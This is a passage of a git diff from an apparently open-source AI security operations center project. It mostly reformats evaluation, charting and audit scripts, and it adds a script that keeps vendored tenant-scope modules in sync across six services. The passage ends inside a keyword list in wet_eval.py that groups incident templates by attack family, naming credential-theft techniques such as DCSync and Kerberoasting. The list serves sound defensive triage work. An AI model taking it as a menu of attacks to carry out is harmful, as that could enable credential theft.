f'role="img" aria-labelledby="title">',
- f' {title_xml}',
+ f" {title_xml}",
f' <rect width="{width}" height="{height}" fill="{_SVG_PALETTE["bg"]}"/>',
]
def _svg_text(
- x: float, y: float, label: str, *,
+ x: float,
+ y: float,
+ label: str,
+ *,
size: float = 12.0,
color: str = _SVG_PALETTE["label"],
anchor: str = "start",
@@ -417,16 +415,12 @@ def _svg_text(
def _svg_line(x1: float, y1: float, x2: float, y2: float, color: str, width: float = 1.0) -> str:
- return (
- f' <line x1="{x1:.1f}" y1="{y1:.1f}" x2="{x2:.1f}" y2="{y2:.1f}" '
- f'stroke="{color}" stroke-width="{width}"/>'
- )
+ return f' <line x1="{x1:.1f}" y1="{y1:.1f}" x2="{x2:.1f}" y2="{y2:.1f}" ' f'stroke="{color}" stroke-width="{width}"/>'
def _svg_rect(x: float, y: float, w: float, h: float, fill: str, *, opacity: float = 1.0) -> str:
return (
- f' <rect x="{x:.1f}" y="{y:.1f}" width="{max(w, 0):.1f}" height="{max(h, 0):.1f}" '
- f'fill="{fill}" fill-opacity="{opacity:.2f}"/>'
+ f' <rect x="{x:.1f}" y="{y:.1f}" width="{max(w, 0):.1f}" height="{max(h, 0):.1f}" ' f'fill="{fill}" fill-opacity="{opacity:.2f}"/>'
)
@@ -474,10 +468,7 @@ def _histogram(values: Iterable[float], bins: int = 20) -> tuple[list[tuple[floa
if idx >= bins:
idx = bins - 1
buckets[idx] += 1
- return [
- (lo + i * width, lo + (i + 1) * width, count)
- for i, count in enumerate(buckets)
- ], max(buckets)
+ return [(lo + i * width, lo + (i + 1) * width, count) for i, count in enumerate(buckets)], max(buckets)
def render_latency_p50_p95_p99(report: dict, out_path: Path) -> Path:
@@ -489,9 +480,9 @@ def render_latency_p50_p95_p99(report: dict, out_path: Path) -> Path:
pi = report.get("per_investigation") or {}
lat = pi.get("latency_per_investigation_ms") or {}
series = [
- ("p50", float(lat.get("p50", 0.0)), _SVG_PALETTE["primary"]),
- ("p95", float(lat.get("p95", 0.0)), _SVG_PALETTE["accent"]),
- ("p99", float(lat.get("p99", 0.0)), _SVG_PALETTE["warn"]),
+ ("p50", float(lat.get("p50", 0.0)), _SVG_PALETTE["primary"]),
+ ("p95", float(lat.get("p95", 0.0)), _SVG_PALETTE["accent"]),
+ ("p99", float(lat.get("p99", 0.0)), _SVG_PALETTE["warn"]),
("mean", float(lat.get("mean", 0.0)), _SVG_PALETTE["label_muted"]),
]
max_value = max(v for _, v, _ in series) or 1.0
@@ -499,12 +490,16 @@ def render_latency_p50_p95_p99(report: dict, out_path: Path) -> Path:
title = "Per-investigation latency (deterministic substrate)"
lines = _svg_open(_SVG_W, _SVG_H, title=title)
lines.append(_svg_text(_SVG_W / 2, 28, title, size=16, anchor="middle", weight="bold"))
- lines.append(_svg_text(
- _SVG_W / 2, 48,
- f"model={pi.get('model', '?')} · n={pi.get('incidents', 0)} incidents · "
- "substrate path; wet-eval lands in T5.5",
- size=11, color=_SVG_PALETTE["label_muted"], anchor="middle",
- ))
+ lines.append(
+ _svg_text(
+ _SVG_W / 2,
+ 48,
+ f"model={pi.get('model', '?')} · n={pi.get('incidents', 0)} incidents · " "substrate path; wet-eval lands in T5.5",
+ size=11,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="middle",
+ )
+ )
pl_left = _SVG_PAD["left"]
pl_right = _SVG_W - _SVG_PAD["right"]
@@ -516,10 +511,16 @@ def render_latency_p50_p95_p99(report: dict, out_path: Path) -> Path:
for tick in _y_ticks(max_value):
y = pl_bottom - (tick / max_value) * pl_h
lines.append(_svg_line(pl_left, y, pl_right, y, _SVG_PALETTE["grid"]))
- lines.append(_svg_text(
- pl_left - 8, y + 4, _format_axis(tick, "ms"),
- size=10, color=_SVG_PALETTE["label_muted"], anchor="end",
- ))
+ lines.append(
+ _svg_text(
+ pl_left - 8,
+ y + 4,
+ _format_axis(tick, "ms"),
+ size=10,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="end",
+ )
+ )
lines.append(_svg_line(pl_left, pl_bottom, pl_right, pl_bottom, _SVG_PALETTE["axis"], 1.5))
bar_count = len(series)
@@ -530,14 +531,26 @@ def render_latency_p50_p95_p99(report: dict, out_path: Path) -> Path:
bar_h = (value / max_value) * pl_h
y = pl_bottom - bar_h
lines.append(_svg_rect(x, y, bar_w, bar_h, color))
- lines.append(_svg_text(
- x + bar_w / 2, pl_bottom + 18, label,
- size=12, anchor="middle",
- ))
- lines.append(_svg_text(
- x + bar_w / 2, y - 8, _format_axis(value, "ms"),
- size=11, color=_SVG_PALETTE["label"], anchor="middle", weight="bold",
- ))
+ lines.append(
+ _svg_text(
+ x + bar_w / 2,
+ pl_bottom + 18,
+ label,
+ size=12,
+ anchor="middle",
+ )
+ )
+ lines.append(
+ _svg_text(
+ x + bar_w / 2,
+ y - 8,
+ _format_axis(value, "ms"),
+ size=11,
+ color=_SVG_PALETTE["label"],
+ anchor="middle",
+ weight="bold",
+ )
+ )
lines.append("</svg>")
out_path.write_text("\n".join(lines))
@@ -565,10 +578,16 @@ def _render_histogram(
lines = _svg_open(_SVG_W, _SVG_H, title=title)
lines.append(_svg_text(_SVG_W / 2, 28, title, size=16, anchor="middle", weight="bold"))
- lines.append(_svg_text(
- _SVG_W / 2, 48, subtitle,
- size=11, color=_SVG_PALETTE["label_muted"], anchor="middle",
- ))
+ lines.append(
+ _svg_text(
+ _SVG_W / 2,
+ 48,
+ subtitle,
+ size=11,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="middle",
+ )
+ )
pl_left = _SVG_PAD["left"]
pl_right = _SVG_W - _SVG_PAD["right"]
@@ -580,10 +599,16 @@ def _render_histogram(
for tick in _y_ticks(peak, ticks=4):
y = pl_bottom - (tick / peak) * pl_h
lines.append(_svg_line(pl_left, y, pl_right, y, _SVG_PALETTE["grid"]))
- lines.append(_svg_text(
- pl_left - 8, y + 4, f"{tick:.0f}",
- size=10, color=_SVG_PALETTE["label_muted"], anchor="end",
- ))
+ lines.append(
+ _svg_text(
+ pl_left - 8,
+ y + 4,
+ f"{tick:.0f}",
+ size=10,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="end",
+ )
+ )
lines.append(_svg_line(pl_left, pl_bottom, pl_right, pl_bottom, _SVG_PALETTE["axis"], 1.5))
bar_w = pl_w / max(len(hist), 1)
@@ -593,10 +618,16 @@ def _render_histogram(
y = pl_bottom - bar_h
lines.append(_svg_rect(x + 1, y, bar_w - 2, bar_h, bar_color))
if i == 0 or i == len(hist) - 1 or i == len(hist) // 2:
- lines.append(_svg_text(
- x + bar_w / 2, pl_bottom + 18, _format_axis(lo, axis_kind),
- size=10, color=_SVG_PALETTE["label_muted"], anchor="middle",
- ))
+ lines.append(
+ _svg_text(
+ x + bar_w / 2,
+ pl_bottom + 18,
+ _format_axis(lo, axis_kind),
+ size=10,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="middle",
+ )
+ )
lo, hi = hist[0][0], hist[-1][1]
span = hi - lo if hi > lo else 1.0
@@ -609,10 +640,16 @@ def _render_histogram(
x = pl_left + ((value - lo) / span) * pl_w
x = max(pl_left, min(pl_right, x))
lines.append(_svg_line(x, pl_top, x, pl_bottom, color, 1.5))
- lines.append(_svg_text(
- x + 6, pl_top + 14, f"{label} = {_format_axis(value, axis_kind)}",
- size=10, color=color, weight="bold",
- ))
+ lines.append(
+ _svg_text(
+ x + 6,
+ pl_top + 14,
+ f"{label} = {_format_axis(value, axis_kind)}",
+ size=10,
+ color=color,
+ weight="bold",
+ )
+ )
lines.append("</svg>")
out_path.write_text("\n".join(lines))
@@ -650,12 +687,13 @@ def render_tokens_distribution(report: dict, out_path: Path) -> Path:
return _render_histogram(
report,
extractor=lambda rep: _records_or_synthesised(
- rep, key="total_tokens", agg_path=("tokens", "total"),
+ rep,
+ key="total_tokens",
+ agg_path=("tokens", "total"),
),
title="Tokens per investigation (deterministic substrate)",
subtitle=(
- f"prompt + completion · estimator = 4 chars/token · "
- f"system-prompt budget = {pi.get('system_prompt_tokens', 0)} tokens"
+ f"prompt + completion · estimator = 4 chars/token · " f"system-prompt budget = {pi.get('system_prompt_tokens', 0)} tokens"
),
axis_kind="tokens",
bar_color=_SVG_PALETTE["primary"],
@@ -669,15 +707,14 @@ def render_usd_distribution(report: dict, out_path: Path) -> Path:
pi = report.get("per_investigation") or {}
usd_block = pi.get("usd_per_investigation", {})
rate = pi.get("rate_card_per_m_tokens_usd", {})
- rate_label = (
- f"input ${rate.get('input', 0):.2f}/M, output ${rate.get('output', 0):.2f}/M"
- if rate else "rate card per M tokens"
- )
+ rate_label = f"input ${rate.get('input', 0):.2f}/M, output ${rate.get('output', 0):.2f}/M" if rate else "rate card per M tokens"
return _render_histogram(
report,
extractor=lambda rep: _records_or_synthesised(
- rep, key="usd", agg_path=("usd",),
+ rep,
+ key="usd",
+ agg_path=("usd",),
),
title=f"USD per investigation · model={pi.get('model', '?')} (illustrative)",
subtitle=f"{rate_label} · public 2025-era list pricing — substitute your own",
@@ -700,11 +737,16 @@ def render_latency_by_template(report: dict, out_path: Path, *, top_n: int = 20)
title = f"Latency p95 by template (top {len(per_tpl)} of {pi.get('templates', 0)})"
lines = _svg_open(_SVG_W, height, title=title)
lines.append(_svg_text(_SVG_W / 2, 28, title, size=16, anchor="middle", weight="bold"))
- lines.append(_svg_text(
- _SVG_W / 2, 48,
- "deterministic substrate path; wet-eval (T5.5) replaces these with real-LLM wall-clock",
- size=11, color=_SVG_PALETTE["label_muted"], anchor="middle",
- ))
+ lines.append(
+ _svg_text(
+ _SVG_W / 2,
+ 48,
+ "deterministic substrate path; wet-eval (T5.5) replaces these with real-LLM wall-clock",
+ size=11,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="middle",
+ )
+ )
pl_left = 240
pl_right = _SVG_W - _SVG_PAD["right"]
@@ -713,10 +755,16 @@ def render_latency_by_template(report: dict, out_path: Path, *, top_n: int = 20)
pl_w = pl_right - pl_left
if not per_tpl:
- lines.append(_svg_text(
- _SVG_W / 2, height / 2, "no per-template data in report",
- size=12, color=_SVG_PALETTE["label_muted"], anchor="middle",
- ))
+ lines.append(
+ _svg_text(
+ _SVG_W / 2,
+ height / 2,
+ "no per-template data in report",
+ size=12,
+ color=_SVG_PALETTE["label_muted"],
+ anchor="middle",
+ )
+ )
lines.append("</svg>")
out_path.write_text("\n".join(lines))
return out_path
@@ -729,17 +777,27 @@ def render_latency_by_template(report: dict, out_path: Path, *, top_n: int = 20)
bar_w_p95 = (p95 / max_p95) * pl_w
bar_w_p50 = (p50 / max_p95) * pl_w
y = pl_top + i * row_h + 4
- lines.append(_svg_text(
- pl_left - 12, y + row_h / 2 + 4, str(tpl["template_id"])[:38],
- size=11, color=_SVG_PALETTE["label"], anchor="end",
- ))
+ lines.append(
+ _svg_text(
+ pl_left - 12,
+ y + row_h / 2 + 4,
+ str(tpl["template_id"])[:38],
+ size=11,
+ color=_SVG_PALETTE["label"],
+ anchor="end",
+ )
+ )
lines.append(_svg_rect(pl_left, y, bar_w_p95, row_h - 8, _SVG_PALETTE["accent"], opacity=0.35))
lines.append(_svg_rect(pl_left, y, bar_w_p50, row_h - 8, _SVG_PALETTE["primary"], opacity=0.85))
- lines.append(_svg_text(
- pl_left + bar_w_p95 + 6, y + row_h / 2 + 4,
- f"p95={_format_axis(p95, 'ms')} p50={_format_axis(p50, 'ms')} n={tpl.get('incidents', 0)}",
- size=10, color=_SVG_PALETTE["label_muted"],
- ))
+ lines.append(
+ _svg_text(
+ pl_left + bar_w_p95 + 6,
+ y + row_h / 2 + 4,
+ f"p95={_format_axis(p95, 'ms')} p50={_format_axis(p50, 'ms')} n={tpl.get('incidents', 0)}",
+ size=10,
+ color=_SVG_PALETTE["label_muted"],
+ )
+ )
lx = pl_left
ly = height - _SVG_PAD["bottom"] / 2 + 12
@@ -771,8 +829,7 @@ def _load_report_or_compute(path: Path) -> dict[str, Any]:
if path.is_file():
return json.loads(path.read_text())
print(
- f"[render_eval_charts] {path} not found; "
- "computing per-investigation block on the fly from the dataset.",
+ f"[render_eval_charts] {path} not found; " "computing per-investigation block on the fly from the dataset.",
file=sys.stderr,
)
pi = compute_per_investigation_telemetry(
@@ -785,18 +842,24 @@ def _load_report_or_compute(path: Path) -> dict[str, Any]:
usd = block["aggregate"]["usd"]
latency = block["aggregate"]["latency_ms"]
block["tokens_per_investigation"] = {
- "mean": total["mean"], "median": total["median"],
- "p95": total["p95"], "p99": total["p99"],
+ "mean": total["mean"],
+ "median": total["median"],
+ "p95": total["p95"],
+ "p99": total["p99"],
"prompt_mean": block["aggregate"]["tokens"]["prompt"]["mean"],
"completion_mean": block["aggregate"]["tokens"]["completion"]["mean"],
}
block["usd_per_investigation"] = {
- "mean": usd["mean"], "median": usd["median"],
- "p95": usd["p95"], "p99": usd["p99"],
+ "mean": usd["mean"],
+ "median": usd["median"],
+ "p95": usd["p95"],
+ "p99": usd["p99"],
}
block["latency_per_investigation_ms"] = {
- "p50": latency["p50"], "p95": latency["p95"],
- "p99": latency["p99"], "mean": latency["mean"],
+ "p50": latency["p50"],
+ "p95": latency["p95"],
+ "p99": latency["p99"],
+ "mean": latency["mean"],
}
return {"per_investigation": block}
diff --git a/scripts/run_evals.py b/scripts/run_evals.py
index e3808ae83..10926fbaf 100644
--- a/scripts/run_evals.py
+++ b/scripts/run_evals.py
@@ -48,6 +48,7 @@ Exit codes:
2 MITRE accuracy regressed by ≥ --max-regression-pp vs baseline (w2-dac)
3 Eval substrate imports failed (services/agents deps not installed)
"""
+
from __future__ import annotations
import argparse
@@ -166,6 +167,7 @@ try:
from tests.test_response_quality import ( # type: ignore
evaluate_response_quality,
)
+
_SUBSTRATE_AVAILABLE = True
except Exception as _exc: # pragma: no cover - degraded mode for telemetry-only
_SUBSTRATE_IMPORT_ERROR = _exc
@@ -222,9 +224,7 @@ _TEMPLATE_TARGETS = {
"response_quality": 0.75,
}
-_TELEMETRY_PATH = (
- _AGENTS_ROOT / "tests" / "eval_data" / "synthetic_telemetry.jsonl"
-)
+_TELEMETRY_PATH = _AGENTS_ROOT / "tests" / "eval_data" / "synthetic_telemetry.jsonl"
# Canonical suite name list. Kept in lock-step with the keys of
# ``summary["suites"]`` built in ``main()`` and the per-suite ``_run_*``
@@ -523,13 +523,7 @@ def _run_confidence_calibration() -> dict:
"value": inv_brier,
"target": _CALIB_BRIER_INV,
# Lower-is-better: passed iff *all* sub-gates pass.
- "passed": (
- inv_brier_pass
- and inv_ece_pass
- and triage_brier_pass
- and triage_ece_pass
- and bool(res.get("passed", False))
- ),
+ "passed": (inv_brier_pass and inv_ece_pass and triage_brier_pass and triage_ece_pass and bool(res.get("passed", False))),
"duration_ms": round(dur, 1),
"details": {
"lower_is_better": True,
@@ -543,12 +537,8 @@ def _run_confidence_calibration() -> dict:
"triage_ece_max": _CALIB_ECE_TRIAGE,
"investigation_separation": res["investigation"]["separation"],
"triage_separation": res["triage"]["separation"],
- "mean_confidence_positive_investigation": res["investigation"][
- "mean_confidence_positive"
- ],
- "mean_confidence_benign_investigation": res["investigation"][
- "mean_confidence_benign"
- ],
+ "mean_confidence_positive_investigation": res["investigation"]["mean_confidence_positive"],
+ "mean_confidence_benign_investigation": res["investigation"]["mean_confidence_benign"],
"investigation_brier_pass": inv_brier_pass,
"investigation_ece_pass": inv_ece_pass,
"triage_brier_pass": triage_brier_pass,
@@ -628,9 +618,7 @@ def _run_playbook_completion() -> dict:
dur = (time.perf_counter() - t0) * 1000
per_incident = res.per_incident or []
- hc_rate, hc_covered, hc_total = res.severity_completion_rate_mapped(
- ("high", "critical"), per_incident
- )
+ hc_rate, hc_covered, hc_total = res.severity_completion_rate_mapped(("high", "critical"), per_incident)
hc_raw_rate = res.severity_completion_rate(("high", "critical"))
overall_pass = res.completion_rate >= _PLAYBOOK_OVERALL_FLOOR
high_crit_pass = hc_rate >= _PLAYBOOK_HIGH_CRIT_FLOOR
@@ -642,13 +630,7 @@ def _run_playbook_completion() -> dict:
"metric": "completion_rate",
"value": round(res.completion_rate, 4),
"target": _PLAYBOOK_OVERALL_FLOOR,
- "passed": (
- overall_pass
- and high_crit_pass
- and align_pass
- and no_orphan_playbooks
- and no_orphan_templates
- ),
+ "passed": (overall_pass and high_crit_pass and align_pass and no_orphan_playbooks and no_orphan_templates),
"duration_ms": round(dur, 1),
"details": {
"incidents": res.incidents,
@@ -808,18 +790,12 @@ def main() -> None:
parser.add_argument(
"--telemetry-model",
default=_TELEMETRY_DEFAULT_MODEL,
- help=(
- "Model name to apply against the rate card when computing the "
- "per-investigation USD projection. Default: gpt-4o."
- ),
+ help=("Model name to apply against the rate card when computing the " "per-investigation USD projection. Default: gpt-4o."),
)
parser.add_argument(
"--no-telemetry-records",
action="store_true",
- help=(
- "Drop the per-incident telemetry array from the JSON report. "
- "Aggregate + per-template stats are always kept."
- ),
+ help=("Drop the per-incident telemetry array from the JSON report. " "Aggregate + per-template stats are always kept."),
)
parser.add_argument(
"--wet",
@@ -898,9 +874,7 @@ def main() -> None:
try:
wet_report = compute_wet_eval(
mode=wet_mode,
- harness_version=(
- f"scripts/run_evals.py @ {os.environ.get('GITHUB_SHA', 'local')}"
- ),
+ harness_version=(f"scripts/run_evals.py @ {os.environ.get('GITHUB_SHA', 'local')}"),
limit=args.wet_limit,
require_live=args.wet_require_live,
)
@@ -934,19 +908,12 @@ def main() -> None:
print(f" Incidents: {wet_block['incidents']}")
print(f" Templates: {wet_block['templates']}")
lat = wet_block["latency_seconds"]
- print(
- f" Latency (s): p50={lat['p50']:.2f} p95={lat['p95']:.2f} "
- f"p99={lat['p99']:.2f} mean={lat['mean']:.2f}"
- )
+ print(f" Latency (s): p50={lat['p50']:.2f} p95={lat['p95']:.2f} " f"p99={lat['p99']:.2f} mean={lat['mean']:.2f}")
tot = wet_block["tokens"]["total"]
- print(
- f" Tokens / inv: mean={tot['mean']:.0f} median={tot['median']:.0f} "
- f"p95={tot['p95']:.0f} p99={tot['p99']:.0f}"
- )
+ print(f" Tokens / inv: mean={tot['mean']:.0f} median={tot['median']:.0f} " f"p95={tot['p95']:.0f} p99={tot['p99']:.0f}")
usd = wet_block["usd"]
print(
- f" USD / inv: mean=${usd['mean']:.5f} median=${usd['median']:.5f} "
- f"p95=${usd['p95']:.5f} p99=${usd['p99']:.5f}"
+ f" USD / inv: mean=${usd['mean']:.5f} median=${usd['median']:.5f} " f"p95=${usd['p95']:.5f} p99=${usd['p99']:.5f}"
)
print(f" MITRE accuracy: {wet_block['mitre_accuracy']:.4f}")
if wet_block.get("warnings"):
@@ -1066,22 +1033,16 @@ def main() -> None:
print("-" * 78)
tok = pi["tokens_per_investigation"]
print(
- f" Tokens / investigation: mean={tok['mean']:.0f} median={tok['median']:.0f} "
- f"p95={tok['p95']:.0f} p99={tok['p99']:.0f}"
- )
- print(
- f" prompt mean={tok['prompt_mean']:.0f} completion mean={tok['completion_mean']:.0f}"
+ f" Tokens / investigation: mean={tok['mean']:.0f} median={tok['median']:.0f} " f"p95={tok['p95']:.0f} p99={tok['p99']:.0f}"
)
+ print(f" prompt mean={tok['prompt_mean']:.0f} completion mean={tok['completion_mean']:.0f}")
usd = pi["usd_per_investigation"]
print(
f" USD / investigation: mean=${usd['mean']:.5f} median=${usd['median']:.5f} "
f"p95=${usd['p95']:.5f} p99=${usd['p99']:.5f}"
)
lat = pi["latency_per_investigation_ms"]
- print(
- f" Latency (ms / inv): p50={lat['p50']:.4f} p95={lat['p95']:.4f} "
- f"p99={lat['p99']:.4f} (substrate-only path)"
- )
+ print(f" Latency (ms / inv): p50={lat['p50']:.4f} p95={lat['p95']:.4f} " f"p99={lat['p99']:.4f} (substrate-only path)")
print("=" * 78)
try:
rel = args.out.relative_to(_REPO_ROOT)
@@ -1098,10 +1059,7 @@ def main() -> None:
mark = "PASS" if suite["passed"] else "FAIL"
lower_is_better = bool(suite.get("details", {}).get("lower_is_better"))
comparator = "<=" if lower_is_better else ">="
- print(
- f" [{mark}] {name:<28} {suite['metric']:<28} "
- f"{suite['value']:.3f} (target {comparator} {suite['target']:.2f})"
- )
+ print(f" [{mark}] {name:<28} {suite['metric']:<28} " f"{suite['value']:.3f} (target {comparator} {suite['target']:.2f})")
tpl = suite.get("per_template")
if tpl:
tpl_mark = "PASS" if tpl["passed"] else "FAIL"
@@ -1134,10 +1092,7 @@ def main() -> None:
tok = pi.get("tokens_per_investigation", {})
usd = pi.get("usd_per_investigation", {})
lat = pi.get("latency_per_investigation_ms", {})
- print(
- f" Per-investigation budget (deterministic substrate, "
- f"model={pi.get('model', '?')})"
- )
+ print(f" Per-investigation budget (deterministic substrate, " f"model={pi.get('model', '?')})")
print(
f" tokens mean={tok.get('mean', 0):.0f} median={tok.get('median', 0):.0f} "
f"p95={tok.get('p95', 0):.0f} p99={tok.get('p99', 0):.0f}"
@@ -1152,17 +1107,9 @@ def main() -> None:
)
print("=" * 78)
if summary["all_passed"]:
- verdict = (
- "PASS — ALL GATES GREEN"
- if args.suite == "all"
- else f"PASS — {args.suite} green"
- )
+ verdict = "PASS — ALL GATES GREEN" if args.suite == "all" else f"PASS — {args.suite} green"
else:
- verdict = (
- "FAIL — REGRESSION DETECTED"
- if args.suite == "all"
- else f"FAIL — {args.suite} regressed"
- )
+ verdict = "FAIL — REGRESSION DETECTED" if args.suite == "all" else f"FAIL — {args.suite} regressed"
print(f" {verdict}")
cmp = summary.get("baseline_compare")
if cmp and cmp.get("available"):
diff --git a/scripts/security_audit.py b/scripts/security_audit.py
index 9f28351f4..7e475a3e1 100644
--- a/scripts/security_audit.py
+++ b/scripts/security_audit.py
@@ -481,9 +481,7 @@ def run_govulncheck(repo_root: Path, ignores: list[Ignore]) -> Report:
# module — means this module was not analysed. That is a coverage
# gap, not a warning: a warning exits 0 and the arm would print
# "go: 0 findings" for a module it never managed to read.
- combined.unscanned.append(
- f"{module}: govulncheck exited {proc.returncode} — NOT scanned ({proc.stderr[:160].strip()})"
- )
+ combined.unscanned.append(f"{module}: govulncheck exited {proc.returncode} — NOT scanned ({proc.stderr[:160].strip()})")
continue
vulns = parse_govulncheck_json(proc.stdout)
diff --git a/scripts/sync_vendored_narrative.py b/scripts/sync_vendored_narrative.py
index 62f1d73e1..24563f612 100755
--- a/scripts/sync_vendored_narrative.py
+++ b/scripts/sync_vendored_narrative.py
@@ -62,10 +62,7 @@ def _sync() -> int:
return 1
VENDORED_FILE.parent.mkdir(parents=True, exist_ok=True)
shutil.copy2(SOURCE_FILE, VENDORED_FILE)
- print(
- f"copied {SOURCE_FILE.relative_to(REPO_ROOT)} → "
- f"{VENDORED_FILE.relative_to(REPO_ROOT)}"
- )
+ print(f"copied {SOURCE_FILE.relative_to(REPO_ROOT)} → " f"{VENDORED_FILE.relative_to(REPO_ROOT)}")
print("\nDone. Don't forget to commit services/api/app/_vendor/narrative.py.")
return 0
diff --git a/scripts/sync_vendored_tenant_scope.py b/scripts/sync_vendored_tenant_scope.py
new file mode 100644
index 000000000..3c26c455c
--- /dev/null
+++ b/scripts/sync_vendored_tenant_scope.py
@@ -0,0 +1,139 @@
+#!/usr/bin/env python3
+"""Keep every copy of ``app/security/tenant_scope.py`` in lockstep.
+
+The tenant-scope resolver is the thing that decides which tenant a request may
+read. It is vendored into each service that needs it rather than imported,
+because every service is built with its own directory as the Docker build
+context — the same reason ``service_auth.py`` and ``cors.py`` are vendored.
+
+That makes drift the hazard. A fix to the verifier that lands in one copy and
+not the others leaves the un-fixed services accepting what the fixed one
+rejects, and the difference is invisible until somebody reads all six files
+side by side. So the copies are byte-identical apart from one line:
+``SERVICE_NAME``, which selects the per-service token override.
+
+Run modes
+---------
+* ``python scripts/sync_vendored_tenant_scope.py`` — copy source → vendored.
+* ``python scripts/sync_vendored_tenant_scope.py --check`` — fail (exit 1) if any
+ copy is missing or differs. CI uses this mode.
+
+The script is dependency-free so it runs in any CI runner.
+
+AiSOC — open-source AI Security Operations Center (MIT License).
+"""
+
+from __future__ import annotations
+
+import argparse
+import re
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+SOURCE_FILE = REPO_ROOT / "services" / "fusion" / "app" / "security" / "tenant_scope.py"
+
+#: The test travels with the module. Each service runs the copy it ships
+#: rather than trusting that the one copy the cross-service isolation suite
+#: exercises stands in for the other five — which is exactly the assumption
+#: that lets a vendored fix land in one place and look like six.
+SOURCE_TEST = REPO_ROOT / "services" / "fusion" / "tests" / "test_tenant_scope.py"
+
+#: service directory name → the SERVICE_NAME literal its copy must carry.
+#: The token override is ``AISOC_<SERVICE_NAME>_SERVICE_TOKEN``.
+TARGETS: dict[str, str] = {
+ "fusion": "FUSION",
+ "agents": "AGENTS",
+ "osquery-tls": "OSQUERY_TLS",
+ "honeytokens": "HONEYTOKENS",
+ "purple-team": "PURPLE_TEAM",
+ "ueba": "UEBA",
+}
+
+_SERVICE_NAME_RE = re.compile(r'^SERVICE_NAME = ".*"$', re.MULTILINE)
+
+
+def _target_path(service: str) -> Path:
+ return REPO_ROOT / "services" / service / "app" / "security" / "tenant_scope.py"
+
+
+def _target_test_path(service: str) -> Path:
+ return REPO_ROOT / "services" / service / "tests" / "test_tenant_scope.py"
+
+
+def _render(source: str, service_name: str) -> str:
+ rendered, count = _SERVICE_NAME_RE.subn(f'SERVICE_NAME = "{service_name}"', source)
+ if count != 1:
+ raise SystemExit(f"expected exactly one SERVICE_NAME assignment in the source, found {count}")
+ return rendered
+
+
+def _check() -> int:
+ if not SOURCE_FILE.is_file():
+ print(f"FAIL: source file missing: {SOURCE_FILE}", file=sys.stderr)
+ return 1
+ source = SOURCE_FILE.read_text(encoding="utf-8")
+
+ test_source = SOURCE_TEST.read_text(encoding="utf-8") if SOURCE_TEST.is_file() else None
+ if test_source is None:
+ print(f"FAIL: source test missing: {SOURCE_TEST}", file=sys.stderr)
+ return 1
+
+ failures = 0
+ for service, service_name in sorted(TARGETS.items()):
+ for path, want in (
+ (_target_path(service), _render(source, service_name)),
+ (_target_test_path(service), test_source),
+ ):
+ if not path.is_file():
+ print(f"FAIL: vendored copy missing: {path.relative_to(REPO_ROOT)}", file=sys.stderr)
+ failures += 1
+ continue
+ if path.read_text(encoding="utf-8") != want:
+ print(
+ f"FAIL: {path.relative_to(REPO_ROOT)} is out of sync with its source.\n"
+ " Re-run: python scripts/sync_vendored_tenant_scope.py",
+ file=sys.stderr,
+ )
+ failures += 1
+
+ if failures:
+ return 1
+ print(f"OK: {len(TARGETS)} vendored tenant_scope.py copies (+ their tests) match the source (differing only in SERVICE_NAME).")
+ return 0
+
+
+def _sync() -> int:
+ if not SOURCE_FILE.is_file():
+ print(f"FAIL: source file missing: {SOURCE_FILE}", file=sys.stderr)
+ return 1
+ source = SOURCE_FILE.read_text(encoding="utf-8")
+
+ test_source = SOURCE_TEST.read_text(encoding="utf-8")
+
+ for service, service_name in sorted(TARGETS.items()):
+ path = _target_path(service)
+ path.parent.mkdir(parents=True, exist_ok=True)
+ init = path.parent / "__init__.py"
+ if not init.exists():
+ init.write_text('"""Security helpers for this service."""\n', encoding="utf-8")
+ path.write_text(_render(source, service_name), encoding="utf-8")
+ print(f" wrote {path.relative_to(REPO_ROOT)} (SERVICE_NAME={service_name})")
+
+ test_path = _target_test_path(service)
+ test_path.parent.mkdir(parents=True, exist_ok=True)
+ test_path.write_text(test_source, encoding="utf-8")
+ print(f" wrote {test_path.relative_to(REPO_ROOT)}")
+ print(f"OK: synced {len(TARGETS)} copies (+ tests) from {SOURCE_FILE.relative_to(REPO_ROOT)}.")
+ return 0
+
+
+def main() -> int:
+ parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
+ parser.add_argument("--check", action="store_true", help="verify the copies match instead of rewriting them")
+ args = parser.parse_args()
+ return _check() if args.check else _sync()
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/scripts/validate_playbooks.py b/scripts/validate_playbooks.py
index ada3937de..8e577f1ec 100755
--- a/scripts/validate_playbooks.py
+++ b/scripts/validate_playbooks.py
@@ -24,6 +24,7 @@ Usage:
python scripts/validate_playbooks.py
python scripts/validate_playbooks.py path/to/extra/dir
"""
+
from __future__ import annotations
import json
@@ -94,9 +95,7 @@ def _validate_one(fp: Path) -> tuple[Playbook | None, list[str]]:
# Allow trailing condition with no branches (acts as filter / gate).
else:
if s.next_true or s.next_false:
- errors.append(
- f"step '{s.id}': non-condition step has next_true/next_false"
- )
+ errors.append(f"step '{s.id}': non-condition step has next_true/next_false")
# Trigger sanity
on = pb.trigger.get("on") if isinstance(pb.trigger, dict) else None
@@ -128,10 +127,7 @@ def main() -> int:
if pb is None:
continue
if pb.id in seen_ids:
- all_errors.append(
- f"{rel}: duplicate playbook id '{pb.id}' "
- f"(also in {seen_ids[pb.id].relative_to(ROOT)})"
- )
+ all_errors.append(f"{rel}: duplicate playbook id '{pb.id}' " f"(also in {seen_ids[pb.id].relative_to(ROOT)})")
else:
seen_ids[pb.id] = fp
# Category is the parent dir name relative to packs/v1.
diff --git a/scripts/wet_eval.py b/scripts/wet_eval.py
index d16d6fa1c..de58ba2d1 100644
--- a/scripts/wet_eval.py
+++ b/scripts/wet_eval.py
@@ -58,6 +58,7 @@ Output shape
}
}
"""
+
from __future__ import annotations
import json
@@ -92,43 +93,102 @@ from eval_telemetry import ( # type: ignore
# ``ec2-spot-credential-theft`` automatically lands in the cloud bucket
# without a code change.
_FAMILY_KEYWORDS: tuple[tuple[str, tuple[str, ...]], ...] = (
- ("cloud", (
- "ec2", "s3", "imds", "azure", "gcp", "aws", "k8s", "docker",
- "container", "cloud", "saml-golden",
- )),
- ("identity", (
- "oauth", "phish", "credential-spray", "ad-dcsync", "kerberoasting",
